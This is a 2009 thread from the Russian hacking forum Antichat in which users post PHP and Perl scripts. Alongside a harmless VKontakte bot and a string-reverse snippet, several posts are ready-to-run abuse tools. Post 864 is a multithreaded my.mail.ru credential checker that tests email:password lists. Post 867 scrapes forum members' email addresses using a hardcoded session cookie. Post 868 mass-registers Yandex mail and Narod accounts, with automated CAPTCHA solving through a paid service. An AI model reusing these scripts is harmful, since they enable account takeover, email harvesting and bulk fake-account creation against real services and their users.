ANTICHAT.XYZ    VIDEO.ANTICHAT.XYZ    НОВЫЕ СООБЩЕНИЯ    ФОРУМ  
Баннер 1   Баннер 2

ANTICHAT — форум по информационной безопасности, OSINT и технологиям

ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию. Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club, и теперь снова доступен на новом адресе — forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
Вернуться   Форум АНТИЧАТ > Программирование_OLD > PHP, PERL, MySQL, JavaScript
   
 
 
Опции темы Поиск в этой теме Опции просмотра

  #861  
Старый 24.08.2009, 10:41
geforse
Постоянный
Регистрация: 02.03.2008
Сообщений: 893
Провел на форуме:
5365841

Репутация: 712


Отправить сообщение для geforse с помощью ICQ
Smile

Вечный Онлайн Вконтакте

просили в этой теме

[+] Авторизируется по cookie
[+] Если cookie "мертвые",то с вашим E-mail/Password
[+] При необходимости пишет log-файл

PHP код:
<?php
set_time_limit
(0);
//-----------------//
$email "";                  // E-mail 
$pass "";                  // Пароль
$log "0";                 // 1 - Если нужно писать log-файл
//-----------------//

   
$ch curl_init("http://vkontakte.ru/index.php");
   
curl_setopt($chCURLOPT_USERAGENT"Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
   
curl_setopt($chCURLOPT_REFERER"http://vkontakte.ru/index.php");
   
curl_setopt($chCURLOPT_COOKIEFILE"./cook7777");
   
curl_setopt($chCURLOPT_FOLLOWLOCATION1);
   
curl_setopt($chCURLOPT_RETURNTRANSFER1);
   
$result  curl_exec($ch);
    

  if (
preg_match('#l">E(.*?)<#i',$result,$avtoriz))
   {
     
     
$ch curl_init("http://vkontakte.ru/login.php");
     
curl_setopt($chCURLOPT_USERAGENT"Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
     
curl_setopt($chCURLOPT_POST1);
     
curl_setopt($chCURLOPT_HEADER1);
     
curl_setopt($chCURLOPT_POSTFIELDS"op=a_login_attempt&email=".urlencode($email)."&pass=".urlencode($pass)."&expire=0");
     
curl_setopt($chCURLOPT_REFERER"http://vkontakte.ru/index.php");
     
curl_setopt($chCURLOPT_COOKIEJAR"./cook7777");
     
curl_setopt($chCURLOPT_FOLLOWLOCATION1);
     
curl_setopt($chCURLOPT_RETURNTRANSFER1);
     
$res_index  curl_exec($ch);
    
    
        if (
$log == "1")
     {
           
$fh fopen("log.txt""a+");
        
$success fwrite($fh"Авторизация [".date("H:i")."]\r\n");
        
fclose($fh);
     }
    
    }
    else
    {
          if (
$log == "1")
      {
           
$fh fopen("log.txt""a+");
        
$success fwrite($fh"Работа через cookie [".date("H:i")."]\r\n");
        
fclose($fh);
       }
     }


/* geforse.name */
?>
P.S. Заметил одну ошибку, у меня в пароле присутствует знак $, urlencode его почему-то не верно кодирует и авторизация не проходит. Если у вас скрипт не авторизиуется, то попробуйте поменять пароль на буквено-цифровой
 

  #862  
Старый 24.08.2009, 11:19
b3
Постоянный
Регистрация: 05.12.2004
Сообщений: 647
Провел на форуме:
1698585

Репутация: 818


Отправить сообщение для b3 с помощью ICQ
По умолчанию

Цитата:
Заметил одну ошибку, у меня в пароле присутствует знак $, urlencode его почему-то не верно кодирует и авторизация не проходит. Если у вас скрипт не авторизиуется, то попробуйте поменять пароль на буквено-цифровой
Возьми за привычку не использовать двойные ковычки там где нет переменных.
Цитата:
$pass = "";
У тебя неавторизовуется из-за них, потому как спецсиволы нужно екранировать.
 

  #863  
Старый 25.08.2009, 14:46
zifanchuck
Постоянный
Регистрация: 27.10.2008
Сообщений: 491
Провел на форуме:
4002393

Репутация: 464
Отправить сообщение для zifanchuck с помощью ICQ
По умолчанию

написал скриптик для отсылки статистики с партнерской программы nicetest на мобилку (смс) через сайт mts.com.ua

я только начал изучения курла и вообще я не спец по пхп, так что код у меня не гут) но главное работает)

ввести нужно логин, пасс, номер, и абсолютный путь к картинке с каптчой. и еще нужно отредактировать 120 и 150 строчки(вставить туда апикей)

ставим на крон и все)))
вот сам код

PHP код:
<?php
set_time_limit
(0);

//NiceTest.ru

$login " ";   //Логин на партнерке
$pass " ";       //пароль на партнерке
$operator "095"//  Оператор
$nomer "1234567"//     Номер
$apath "абсолютный/путь/к/cap.jpg";    //Абсолютный путь к cap.jpg

    //Авторизация на Nicetest
$ch curl_init("http://partners.nicetest.ru/admin.php?login=1");
curl_setopt($chCURLOPT_USERAGENT"Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
curl_setopt($chCURLOPT_POST1);
curl_setopt($chCURLOPT_HEADER1);
curl_setopt($chCURLOPT_POSTFIELDS"username=".urlencode($login)."&password=".urlencode($pass));
curl_setopt($chCURLOPT_REFERER"http://partners.nicetest.ru");
curl_setopt($chCURLOPT_COOKIEJAR"./cook");
curl_setopt($chCURLOPT_FOLLOWLOCATION1);
curl_setopt($chCURLOPT_RETURNTRANSFER1);
$res_index  curl_exec($ch);

    
//Грабим сумму
$res_index str_replace("Заработано за период: <font class=main_12>","***"$res_index);
$res_index str_replace("$</font></td></tr>","***"$res_index);
$res_index str_replace("Заработано сегодня: <font class=main_12>","***"$res_index);
$res_index str_replace("Из них рефералами: <font class=main_12>","***"$res_index);
list(
$str1$str2$str3$str4$str5$str6) = explode("***"$res_index);
$segod $str2;
$period $str4;
$referal $str6;



     
//отправка смс

$message "segod=".$segod.";\r\nperiod=".$period.";\r\nreferal=".$referal;


$ua 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4';
$ch curl_init('http://www.mts.com.ua/ukr/sendsms.php');
    
curl_setopt($chCURLOPT_USERAGENT$ua);
    
curl_setopt($chCURLOPT_HEADER1);
    
curl_setopt($chCURLOPT_NOBODY0);
    
curl_setopt($chCURLOPT_REFERER'http://www.mts.com.ua/ukr/sendsms.php');
    
curl_setopt($chCURLOPT_RETURNTRANSFER1);
    
$res curl_exec($ch);
curl_close($ch);
### Func ###
function get_session($var)
{
preg_match('#PHPSESSID=(.*);#',$var,$matches);
$session $matches[1];
return 
$session;
}
############
$session get_session($res);

if(
preg_match('#captcha\.php\?PHPSESSID=(.*)&rnd=(.*)" alt="Код"#',$res,$matches))
    {
    
$rnd $matches[2];
    
$ch curl_init("http://www.mts.com.ua/back/modules/golden/captcha.php?PHPSESSID=$session&rnd=$rnd");
    
curl_setopt($chCURLOPT_USERAGENT$ua);
    
curl_setopt($chCURLOPT_COOKIE'PHPSESSID='.$session);
    
curl_setopt($chCURLOPT_REFERER'http://www.mts.com.ua/ukr/sendsms.php');
    
curl_setopt($chCURLOPT_RETURNTRANSFER1);
    
$res curl_exec($ch);
    
curl_close($ch);
    
file_put_contents('cap.jpg',$res);
}

#######################################
function recognize($filename$apikey$is_verbose true$rtimeout 3$mtimeout 200$is_phrase 0$is_regsense 1$is_numeric 0$min_len 0$max_len 0)
{
    if (!
file_exists($filename))
    {
        if (
$is_verbose) echo "file $filename not found\n";
        return 
false;
    }
    
$postdata = array(
        
'method'    => 'post',
        
'key'       => $apikey,
        
'file'      => '@'.$filename
        
'phrase'    => $is_phrase,
        
'regsense'    => $is_regsense,
        
'numeric'    => $is_numeric,
        
'min_len'    => $min_len,
        
'max_len'    => $max_len,

    );
    
$ch curl_init();
    
curl_setopt($chCURLOPT_URL,             'http://ac-service.info/in.php');
    
curl_setopt($chCURLOPT_RETURNTRANSFER,     1);
    
curl_setopt($chCURLOPT_TIMEOUT,             60);
    
curl_setopt($chCURLOPT_POST,                 1);
    
curl_setopt($chCURLOPT_POSTFIELDS,         $postdata);
    
$result curl_exec($ch);
    if (
curl_errno($ch))
    {
        if (
$is_verbose) echo "CURL returned error: ".curl_error($ch)."\n";
        return 
false;
    }
    
curl_close($ch);
    if (
strpos($result"ERROR")!==false)
    {
        if (
$is_verbose) echo "server returned error: $result\n";
        return 
false;
    }
    else
    {
        
$ex explode("|"$result);
        
$captcha_id $ex[1];
        if (
$is_verbose) echo "ID $captcha_id \n";
        
$waittime 0;
        if (
$is_verbose) echo "<br>sleep $rtimeout \n";
        
sleep($rtimeout);
        while(
true)
        {
            
$result file_get_contents('http://ac-service.info/res.php?key=4d00d7b9863...........3f694&action=get&id='.$captcha_id); //сюда кей антикаптчи
            
if (strpos($result'ERROR')!==false)
            {
                if (
$is_verbose) echo "server returned error: $result\n";
                return 
false;
            }
            if (
$result=="CAPCHA_NOT_READY")
            {
                if (
$is_verbose) echo "<br>captcha is not ready yet\n";
                
$waittime += $rtimeout;
                if (
$waittime>$mtimeout)
                {
                    if (
$is_verbose) echo "<br>timelimit ($mtimeout) hit\n";
                    break;
                }
                if (
$is_verbose) echo "<br>waiting for $rtimeout seconds\n";
                
sleep($rtimeout);
            }
            else
            {
                
$ex explode('|'$result);
                if (
trim($ex[0])=='OK') return trim($ex[1]);
                echo 
'<br>'.$ex[1];
            }
        }

        return 
false;
    }
}
#######################################
$captcha=recognize($apath ,"4d00d7b...............93f694",true);  //сюда кей антикаптчи


$ch curl_init("http://www.mts.com.ua/back/modules/sms/db_sms.php");
curl_setopt($chCURLOPT_USERAGENT"Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
curl_setopt($chCURLOPT_POST1);
curl_setopt($chCURLOPT_HEADER1);
curl_setopt($chCURLOPT_POSTFIELDS"script=%2Fukr%2Fsendsms.php&sms_tag_id=3&network1=38".$operator."&phone1=".$nomer."&message=".$message."&lang=lat&captcha=".$captcha);
curl_setopt($chCURLOPT_REFERER"http://www.mts.com.ua/ukr/sendsms.php");
    
curl_setopt($chCURLOPT_COOKIE'PHPSESSID='.$session);
curl_setopt($chCURLOPT_FOLLOWLOCATION1);
curl_setopt($chCURLOPT_RETURNTRANSFER1);
$res_index  curl_exec($ch);
?>
смска приходит вида
segod=999;
period=999;
referal=999

п.с прошу не пинать)

Последний раз редактировалось zifanchuck; 25.08.2009 в 14:48..
 

[PERL] МойМир чекер
  #864  
Старый 25.08.2009, 15:41
Gaus
Участник форума
Регистрация: 08.02.2009
Сообщений: 196
Провел на форуме:
1420275

Репутация: 127
По умолчанию [PERL] МойМир чекер

Код:
#!/usr/bin/perl
# my.mail.ru accounts checker by Gaus
use strict;
use LWP::UserAgent;
use HTTP::Cookies;
use threads;
use threads::shared;
use Fcntl ':flock';

###############################
my $file_accs = 'accs.txt';   # Файл с аккаунтами
my $delm_accs = ';';          # Разделитель списка аккаунтов
my $threads = 10;             # Кол-во потоков
###############################

open my $file, '<', $file_accs or die "\nCould not open accounts file!\n";
chomp(my @accs : shared = <$file>);
close $file;
threads->new(\&main) for 1 .. $threads;
$_->join for threads->list;
sub main
{
    while(@accs)
    {
        my ($mail,$pass) = split $delm_accs => shift @accs;;
        my ($login,$domain) = split '@' => $mail;
        my $ua = LWP::UserAgent->new(timeout => 35,
                                     cookie_jar => new HTTP::Cookies,
                                     agent => agent());
        my $answ = $ua->post('http://swa.mail.ru/cgi-bin/auth',
                            ['action1' => 'Login',
                             'Login' => $login,
                             'Domain' => $domain,
                             'Password' => $pass])->code;
        if($answ == 302)
        {
            my $resp = $ua->get("http://my.mail.ru/")->content;
            if($resp =~ m,friends_requests" class="mf_menu2">(.*?)</a> (\d+)</div>,i)
            {
                if($2 > 0)
                {
                    wf('acccounts_with_friends.txt',"$mail;$pass\n");
                    print "[ + ] $mail;$pass:$2\n";                    
                }
                else
                {
                    print "[ ~ ] $mail;$pass:0\n";
                    wf('acccounts_without_friends.txt',"$mail;$pass\n");
                }
            }
            else
            {
                print "[ ~ ] $mail;$pass\n";
                
            }
            
        }
        else
        {
            print "[ - ] $mail;$pass\n";
        }
    }
}
sub agent
{
    my @agents = qw(Opera/9.15 Opera/9.12 Opera/8.60b IE/4.0 IE/5.0 IE/6.0 IE/7.0 Mozilla/4.0 Mozilla/5.0 Mozilla/2.0 Mozilla/3.0);
    return $agents[rand scalar @agents];
}
sub wf
{
    open my $dat, '>>', $_[0] or die "\nCould not open $_[0] file!\n";
    flock $dat, LOCK_EX;
    print $dat $_[1];
    flock $dat, LOCK_UN;
    close $dat;
}
Download(pass: antichat)
 

  #865  
Старый 25.08.2009, 20:03
restart_05
Участник форума
Регистрация: 05.05.2009
Сообщений: 126
Провел на форуме:
226966

Репутация: 8
По умолчанию

Почему у меня курл не работает ?? пишет undef. function
 

  #866  
Старый 25.08.2009, 20:16
L I G A
Постоянный
Регистрация: 27.07.2008
Сообщений: 614
Провел на форуме:
4532332

Репутация: 1196


Отправить сообщение для L I G A с помощью ICQ
По умолчанию

Цитата:
Сообщение от restart_05  
Почему у меня курл не работает ?? пишет undef. function
скачай курл библиотеки и отред. php.ini
 

  #867  
Старый 27.08.2009, 01:20
Themail
Новичок
Регистрация: 26.08.2009
Сообщений: 1
Провел на форуме:
12527

Репутация: 0
По умолчанию

Парсер контента, работает с cookies.
Скрипт Pashkela, поддержка cookies Pavlov.
PHP код:
<?php  
$opts 
= array( 
  
'http'=>array( 
    
'method'=>"GET"
    
'header'=>"User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.7) Gecko/2009021910 Firefox/3.0.7\nReferer: http://forum.antichat.ru/index.php?\nCookie: abblastvisit=1251307988; abblastactivity=deleted; abbuserid=95513; abbpassword=bdbb9260271d89f701d585f6435112c8; abbsessionhash=0060e7152bd8aa91132d8b877bf9a097;\n"
  

); 

$context stream_context_create($opts); 
$start 95512;//Стартовая страница 
$end 95514;//Последняя страница
$pause 1;//пауза в секундах между каждой страницей
$result fopen('m.txt','w');//контент
for ($i=$start;$i<=$end;$i++) { 
   
$a file_get_contents('http://forum.antichat.ru/sendmessage.php?do=mailmember&u=' $i ' 'false,$context); 
   
preg_match_all('/: <a href="mailto:.*?\">/ism',$a,$res[$i]);
   
$res[$i] = array_unique($res[$i][0]); 
   
$b implode ("\r\n",$res[$i]); 
   
fwrite ($result,$b "\r\n"); 
   
sleep($pause);  

fclose ($result);
echo 
"<html><title>The mail</title><body bgcolor='#363940'>";
echo 
"<font color='c1c1c7'>The mail accounts of the members </font> ";
echo 
"<font color='PaleGreen'>[" $start "-" $end "]</font> ";
echo 
"<font color='c1c1c7'>has been saved as </font>";
echo 
"<font color='PaleGreen'>m.txt</font></html></body>";
?>

Последний раз редактировалось Themail; 27.08.2009 в 01:24..
 

  #868  
Старый 29.08.2009, 20:12
geforse
Постоянный
Регистрация: 02.03.2008
Сообщений: 893
Провел на форуме:
5365841

Репутация: 712


Отправить сообщение для geforse с помощью ICQ
Smile

Авторегер E-mail + сайтов Narod.ru

PHP код:
<?php
set_time_limit
(0);
//-----------------//
$email 'yandex_mail.txt'// Файл с E-mail
$narod 'narod.txt';      // Файл с FTP
$ammount '5';           // Количество регистраций
$divider ':';          // Разделитель
$ac_key ' ';          // Ключ антикапчи
#$proxy = ' ';         // Можно через покси (в функции 'post' нужно раскоментировать строку с $proxy)
//-----------------//
 
       
function post($url,$post,$refer)
    {
       
$ch curl_init($url);
       
curl_setopt($chCURLOPT_USERAGENT"Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
       
curl_setopt($chCURLOPT_POST1);
       
curl_setopt($chCURLOPT_POSTFIELDS$post);
       
curl_setopt($chCURLOPT_REFERER$refer);
       
curl_setopt($chCURLOPT_COOKIEJAR"./cook");
       
curl_setopt($chCURLOPT_COOKIEFILE"./cook");
      
#curl_setopt($ch, CURLOPT_PROXY, $proxy);
       
curl_setopt($chCURLOPT_FOLLOWLOCATION1);
       
curl_setopt($chCURLOPT_RETURNTRANSFER1);
       
$result  curl_exec($ch);
       return 
$result;
    }
 
    
/* Функция для распознавания капчи */
    
function recognize($filename$apikey$is_verbose true$rtimeout 5$mtimeout 120$is_phrase 0$is_regsense 0$is_numeric 1$min_len 0$max_len 0)
   {
    if (!
file_exists($filename))
    {
        if (
$is_verbose) echo "file $filename not found\n";
        return 
false;
    }
 
    
$postdata = array(
        
'method'    => 'post'
        
'key'       => $apikey
        
'file'      => '@'.$filename//полный путь к файлу
        
'phrase'    => $is_phrase,
        
'regsense'    => $is_regsense,
        
'numeric'    => $is_numeric,
        
'min_len'    => $min_len,
        
'max_len'    => $max_len,
 
    );
    
$ch curl_init();
    
curl_setopt($chCURLOPT_URL,             'http://ac-service.info/in.php');
    
curl_setopt($chCURLOPT_RETURNTRANSFER,     1);
    
curl_setopt($chCURLOPT_TIMEOUT,             60);
    
curl_setopt($chCURLOPT_POST,                 1);
    
curl_setopt($chCURLOPT_POSTFIELDS,         $postdata);
    
$result curl_exec($ch);
    if (
curl_errno($ch)) 
    {
        if (
$is_verbose) echo "CURL returned error: ".curl_error($ch)."\n";
        return 
false;
    }
    
curl_close($ch);
    if (
strpos($result"ERROR")!==false)
    {
        if (
$is_verbose) echo "server returned error: $result\n";
        return 
false;
    }
    else
    {
        
$ex explode("|"$result);
        
$captcha_id $ex[1];
        if (
$is_verbose) echo "captcha sent, got captcha ID $captcha_id\n";
        
$waittime 0;
        if (
$is_verbose) echo "waiting for $rtimeout seconds\n";
        
sleep($rtimeout);
        while(
true)
        {
            
$result file_get_contents('http://ac-service.info/res.php?key='.$apikey.'&action=get&id='.$captcha_id);
            if (
strpos($result'ERROR')!==false)
            {
                if (
$is_verbose) echo "server returned error: $result\n";
                return 
false;
            }
            if (
$result=="CAPCHA_NOT_READY")
            {
                if (
$is_verbose) echo "captcha is not ready yet\n";
                
$waittime += $rtimeout;
                if (
$waittime>$mtimeout
                {
                    if (
$is_verbose) echo "timelimit ($mtimeout) hit\n";
                    break;
                }
                if (
$is_verbose) echo "waiting for $rtimeout seconds\n";
                
sleep($rtimeout);
            }
            else
            {
                
$ex explode('|'$result);
                if (
trim($ex[0])=='OK') return trim($ex[1]);
            }
        }
 
        return 
false;
    }
    }
 
    function 
login()
     {
         
$letters 'abcdefghijklmopkqrstuvwxyz';
         for (
$p 0$p 20$p++)
           {
             
$login .= $letters{rand(0strlen($letters) - 1)};
           }
         return 
$login;
      }       
 
 
    
/* Пока не достигнем нужного количества e-mail/ftp, не заканчиваем регистрацию */
    
for ($y 1$y <= $ammount$y++)
    {
    
/* Генерируем Логин... */
    
$login login();
 
       
/* ...имя */
      
$name rand(0,7777777);
 
      
/* ...пароль */
      
$password rand(0,7777777);
 
    
/* Выходи из почты */
    
post ('http://passport.yandex.ru/passport?mode=logout',null,'http://passport.yandex.ru/');
 
    
/* Начинаем регистрацию */
    
$result post('http://passport.yandex.ru/passport?mode=register','step=two&filled=yes&fresh=&iname='.$name.'&fname='.$name.'&login='.$login.'&done=%C4%E0%EB%FC%F8%E5%A0%26%238594%3B','http://passport.yandex.ru/passport?mode=register&msg=mail&retpath=http://mail.yandex.ru');
 
    
/* Получаем значения */
    
preg_match('#ncrnd=(.*?)"#i',$result,$ncrnd);
    
preg_match('#idkey" value="(.*?)"#i',$result,$idkey);
    
preg_match('#\?idkey=(.*?)"#i',$result,$captcha);
 
    
/* Создаём картинку капчи */
    
file_put_contents('captcha.jpg',file_get_contents('http://passport.yandex.ru/digits?idkey='.$captcha[1]));
 
    
/* Распознаём её */
    
$text=recognize(getcwd()."/captcha.jpg",$ac_key,false);
 
        
/* Регистрируем E-mail... */    
    
$result post('http://passport.yandex.ru/passport?mode=register&ncrnd='.$ncrnd[1],'idkey='.$idkey[1].'&step=two&filled=yes&login='.$login.'&fname='.$name.'&iname='.$name.'&time='.time().'&passwd='.$password.'&passwd2='.$password.'&hintq=1&udhintq=&hinta=OTVET&hintasave=OTVET&questnum=1&hintqsave=&email=&phonenumber=&code='.$text.'&agreed=yes''http://passport.yandex.ru/passport?mode=register&ncrnd='.$_POST['ncrnd']);
 
    
/* ...и FTP */
    
$ftp post('http://narod.yandex.ru/disk/narod/',null,'http://yandex.ru/');
 
        
/* Проверяем всё ли прошло успешно */
        
if(preg_match('#logout">(.*?)<#i',$result,$end))
        {
 
              
/* Сохраняем результаты */
          
$fh fopen($email"a+");
          
$success fwrite($fh$login.'@yandex.ru'.$divider.$password."\r\n");
          
fclose($fh);
 
          
$na fopen($narod"a+");
          
$success fwrite($na$login.'.narod.ru'.$divider.$password."\r\n");
          
fclose($na);
        }
    }
 
    
/* geforse.name */
?>


Полуавтоматический регистратор E-mail Яндекс



PHP код:
<?php
set_time_limit
(0);
//-----------------//
$email 'yandex.txt';   // Файл с E-mail
$divider ':';         // Разделитель
//-----------------//
 
       
function post($url,$post,$refer)
    {
       
$ch curl_init($url);
       
curl_setopt($chCURLOPT_USERAGENT"Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
       
curl_setopt($chCURLOPT_POST1);
       
curl_setopt($chCURLOPT_POSTFIELDS$post);
       
curl_setopt($chCURLOPT_REFERER$refer);
       
curl_setopt($chCURLOPT_COOKIEJAR"./cook");
       
curl_setopt($chCURLOPT_COOKIEFILE"./cook");
       
curl_setopt($chCURLOPT_FOLLOWLOCATION1);
       
curl_setopt($chCURLOPT_RETURNTRANSFER1);
       
$result  curl_exec($ch);
       return 
$result;
    }
 
       
/* Генерируем Логин... */
    
$letters 'abcdefghijklmopkqrstuvwxyz';
    for (
$i 0$i 20$i++)
      {
        
$login .= $letters{rand(0strlen($letters) - 1)};
      }
       
/* ...имя */
      
$name rand(0,7777777);
 
      
/* ...пароль */
      
$password rand(0,7777777);
 
      
/* Если нам передали капчу */
    
if($_POST['captcha'])
    {
         
/* Отправляем данные*/
     
$result post('http://passport.yandex.ru/passport?mode=register&ncrnd='.$_POST['ncrnd'],'idkey='.$_POST['idkey'].'&step=two&filled=yes&login='.$_POST['login'].'&fname='.$_POST['name'].'&iname='.$_POST['name'].'&time='.time().'&passwd='.$_POST['password'].'&passwd2='.$_POST['password'].'&hintq=1&udhintq=&hinta=OTVET&hintasave=OTVET&questnum=1&hintqsave=&email=&phonenumber=&code='.trim($_POST['captcha']).'&agreed=yes''http://passport.yandex.ru/passport?mode=register&ncrnd='.$_POST['ncrnd']);
 
            
/* Проверка правильности ввода капчи */
          
if (preg_match('#or">(.*?) н#i',$result,$bad_capt)) 
          {
           echo 
'<script>alert(\'Не правильный код!\')</script>';
       }
       else
       {
               
/* Запись в файл */
          
$fh fopen($email"a+");
          
$success fwrite($fh$_POST['login'].'@yandex.ru'.$divider.$_POST['password']."\r\n");
          
fclose($fh);
       }
       
Header('Location: index.php');
    exit;
    }
    else
    {
    
/* Если не передали капчу */
    /* Выходим из почты */
    
post ('http://passport.yandex.ru/passport?mode=logout',null,'http://passport.yandex.ru/');
 
    
/* Начинаем регистрацию */
    
$result post('http://passport.yandex.ru/passport?mode=register','step=two&filled=yes&fresh=&iname='.$name.'&fname='.$name.'&login='.$login.'&done=%C4%E0%EB%FC%F8%E5%A0%26%238594%3B','http://passport.yandex.ru/passport?mode=register&msg=mail&retpath=http://mail.yandex.ru');
 
    
/* Получаем значения */
    
preg_match('#ncrnd=(.*?)"#i',$result,$ncrnd);
    
preg_match('#idkey" value="(.*?)"#i',$result,$idkey);
    
preg_match('#\?idkey=(.*?)"#i',$result,$captcha);
 
    
/* Выводим форму для ввода капчи (в hidden передаём необходимые значения) */
    
echo '<img class="captcha-img" name="captcha" src="http://passport.yandex.ru/digits?idkey='.$captcha[1].'" alt=""><br>
          <form name="captcha_form" action="index.php" method="POST">
          <input type="text" name="captcha" value="" /><br>
          <input type="hidden" name="ncrnd" value="'
.$ncrnd[1].'" />
          <input type="hidden" name="idkey" value="'
.$idkey[1].'" />
          <input type="hidden" name="name" value="'
.$name.'" />
          <input type="hidden" name="login" value="'
.$login.'" />
          <input type="hidden" name="password" value="'
.$password.'" />
             <input type="submit" value="ok">
           </form>'

    }
          
/* Выводим результат */
         
if (file_exists($email))
            {
            
$quantity_email count(file($email));    
                echo 
'В базе <b>'.$quantity_email.'</b> E-mail';
         }
    
/* geforse.name */
?>
/* geforse.name */
 

  #869  
Старый 31.08.2009, 08:59
b3
Постоянный
Регистрация: 05.12.2004
Сообщений: 647
Провел на форуме:
1698585

Репутация: 818


Отправить сообщение для b3 с помощью ICQ
По умолчанию

Разрешите побоянить =) Функция реверса строки:

PHP код:
<?php
$str 
'строка которую нужно реверснуть';

/* Самопальная функция для реверса строки */
function revers_string($str)
{
        
$return_data '';
        for (
$i=0;$i strlen(trim($str));$i++) {
        
$new_str[] = $str[$i];    
        }
        
$revers array_reverse($new_str);
        
        foreach (
$revers as $str) {
        
$return_data .=  $str;
        }
        return 
$return_data;
}

$new_string revers_string($str);
echo 
$new_string.'<br />';

/* На примере списка асек: */
$file file('list.txt');

foreach (
$file as $f) {
$f trim($f);
echo 
$f.';'.revers_string($f).'<br />';
}
?>
Результат:
Цитата:
ьтунсревер онжун юуроток акортс
123456;654321
516716;617615
 

  #870  
Старый 31.08.2009, 11:29
d_x
Reservists Of Antichat - Level 6
Регистрация: 25.03.2008
Сообщений: 670
Провел на форуме:
4137635

Репутация: 2407


По умолчанию

А чем strrev() не угодила?
 
 





Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT.XYZ